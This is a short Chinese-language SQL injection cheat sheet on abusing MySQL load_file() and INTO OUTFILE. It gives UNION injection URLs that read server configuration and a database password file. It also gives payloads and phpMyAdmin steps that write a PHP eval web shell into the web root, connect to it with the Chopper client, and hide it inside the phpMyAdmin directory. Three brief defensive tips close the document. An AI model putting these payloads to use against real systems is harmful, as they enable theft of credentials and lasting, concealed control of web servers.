0x00 load_file()
- 條件:
1. 要有file_priv權(quán)限
2. 知道文件絕對路徑
3. 能使用union
4. 對web目錄有讀權(quán)限
注:若過濾了單引號,則可以將函數(shù)中的字符進(jìn)行hex編碼
-
一般步驟
- 讀/etc/init.d下的東西,這里有配置文件路徑
?id=1' union select 1,2,load_file('/etc/init.d/httpd')
- 得到web安裝路徑
?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
- 讀取密碼文件
?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')
0x01 into outfile
- 條件:
1. 要有file_priv權(quán)限
2. 知道網(wǎng)站絕對路徑
3. 要能用union
4. 對web目錄有寫權(quán)限
5. 沒有過濾單引號
一般方法
當(dāng)知道路徑時,可以直接用?id=1 union select "<?php @eval($_POST['c']);?>" into outfile("C:/phpStudy/WWW/a.php")-
其他方法
- 登陸phpMyAdmin
use test; 選擇數(shù)據(jù)庫為test create table aaa(bbb varchar(64)); 在數(shù)據(jù)庫中創(chuàng)建一個表aaa insert into aaa values("<?php @eval($_POST['c']);?>"); --在aaa中插入一條數(shù)據(jù)<?php @eval($_POST['c']);?> select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; --將aaa中的數(shù)據(jù)導(dǎo)出到文件a.php
- localhost:80/a.php能訪問
drop aaa; --刪除建立的表
- 然后菜刀連接
菜刀連接http://www.aa.com/a.php廉侧,然后更改shell的名字并將shell放在較隱蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php
0x02 防御
- 數(shù)據(jù)庫連接賬號不要用root權(quán)限
- php關(guān)閉報錯模式
- mysql賬戶沒有權(quán)限向網(wǎng)站目錄寫文件